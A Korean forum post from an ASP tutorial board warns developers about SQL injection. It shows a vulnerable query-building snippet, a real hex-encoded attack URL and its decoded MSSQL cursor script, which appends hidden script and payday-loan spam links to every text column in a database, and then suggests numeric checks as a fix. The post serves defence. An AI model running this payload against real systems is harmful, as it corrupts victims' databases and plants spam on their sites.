CAFE

[ASP]강좌게시판

웹페이지 해킹 대응 방안

작성자whitebono|작성시간12.11.07|조회수377 목록 댓글 0

보통 웹 페이지 하나를 만드는데 값이 필요해서 그 값을 GET 값이나 POST 값으로 받을때가 있습니다.

대부분 이건 조작이 가능한거 아시죠?

예를 들어

http://www.사이트.com/detailview.asp?num=1004

처럼 해서 특정 게시물을 본다던가 해당 상품을 조회하게 한다던가 합니다.

그런데 이 간단한 문장을 가지고도 해당 DB 서버에 엄청난 일을 벌일 수 있습니다.

이런거 처리하실 때 주의하셔야 할 것 같습니다.

저 페이지 상단에 다음과 같은 처리를 하겠죠.

dim itemnum

itemnum = request("num")

if itemnum = "" then

'값이 없을경우 페이지를 돌아가게 이 부분에 처리함.

response.end

end if

sql = "Select * From ItemTable Where itemnum = '" + cstr(replace(itemnum,"'","''")) + "' "

rs.open sql, con, 3

if not (rs.eof or rs.bof) then

....

위와 같이 해서 넘어온 값을 받아 그 값으로 쿼리를 작성해서 조회하는 페이지를 만들죠.

거의 대부분이 이런식으로 만들어 지죠.

DB를 이용한다면요.

그런데 저 num 이라는 파라메터 값을 이용해 DB에 엄청난 일을 저지를 수 있습니다.

http://www.사이트.com/detailview.asp?num=1004.asp?num=20801+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e31383020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d434f4e5645525428564152434841522838303030292c5b272b40432b275d292b27273c2f7469746c653e3c7363726970743e646f63756d656e742e777269746528223c7374796c653e2e61696d6f7b706f736974696f6e3a6162736f6c7574653b636c69703a726563742834303470782c6175746f2c6175746f2c3430347078293b7d3c2f7374796c653e22293b3c2f7363726970743e3c64697620636c6173733d61696d6f3e3c756c3e3c6c693e3c6120687265663d687474703a2f2f6261646372656469747061796461796c6f616e7372687073642e636f6d203e6261642063726564697420706179646179206c6f616e733c2f613e3c2f6c693e3c6c693e3c6120687265663d687474703a2f2f63617368616476616e63656f6e6c696e65746b786e7a2e636f6d203e6361736820616476616e6365206f6e6c696e653c2f613e3c2f6c693e3c6c693e3c6120687265663d687474703a2f2f63617368616476616e6365646d7a7371712e636f6d203e6361736820616476616e6365643c2f613e3c2f6c693e3c6c693e3c6120687265663d687474703a2f2f63617368616476616e63657061796461796c6f616e7667656b732e636f6d203e6361736820616476616e636520706179646179206c6f616e3c2f613e3c2f6c693e3c6c693e3c6120687265663d687474703a2f2f656173796c6f616e73697a686f2e636f6d203e65617379206c6f616e733c2f613e3c2f6c693e3c2f756c3e3c2f6469763e2727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar(8000))+exec(@s)--|65|80020009|

최근에 시도 되고 있는 외국 대부업자 광고 스크립트 넣는 주소 입니다.

이런식으로 파라메터를 넘겨주면 위와 같이 코딩했을때 DB는 박살이 납니다.

처음에는 도데체 이게 뭘까 그랬는데 중간 중간 SQL 문장이 보입니다.

이 문장을 MSSQL 에 담고 맨 끝에 exec 를 print 로 바꿔 실행해 봤더니 다음과 같은 결과가 나왔습니다.

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>180 and t.table_name=c.table_name and t.table_type='BASE TABLE'

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><script>document.write("<style>.aimo{position:absolute;clip:rect(404px,auto,auto,404px);}</style>");</script><div class=aimo><ul><li><a href=http://badcreditpaydayloansrhpsd.com >bad credit payday loans</a></li><li><a href=http://cashadvanceonlinetkxnz.com >cash advance online</a></li><li><a href=http://cashadvancedmzsqq.com >cash advanced</a></li><li><a href=http://cashadvancepaydayloanvgeks.com >cash advance payday loan</a></li><li><a href=http://easyloansizho.com >easy loans</a></li></ul></div>'' ')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

무슨 문장인지 아시겠나요? 필드가 'nvarchar','varchar','ntext','text' 인 형태를 찾아서

특정 스크립트를 삽입하는 쿼리입니다.

num 이라는 파라메터에 당연히 숫자만 들어올것이라는 판단과

좀 더 주의한다는 마음에 싱글따옴표 처리까지 해 놨는데

깡그리 무시하고 실행이 가능한 문장으로 저렇게 파고 들어옵니다.

따라서 앞으로 파라메터 처리하는데는 좀더 주의를 하셔야 겠습니다.

itemnum = request("num")

if itemnum = "" then

'값이 없을경우 페이지를 돌아가게 이 부분에 처리함.

response.end

end if

이 부분에

if not isnumeric(num) then

response.end

end if

이 부분을 더 넣어서 값이 숫자가 아니라면 그 이하를 실행 못하게 하거나

값중에 declare 가 있으면 못들어가게 한다거나 좀 더 세심한 처리를 하셔야 할것 같습니다.

이상 쥔장이였습니다.

다음검색
현재 게시글 추가 기능 열기

댓글

댓글 리스트
맨위로

카페 검색

카페 검색어 입력폼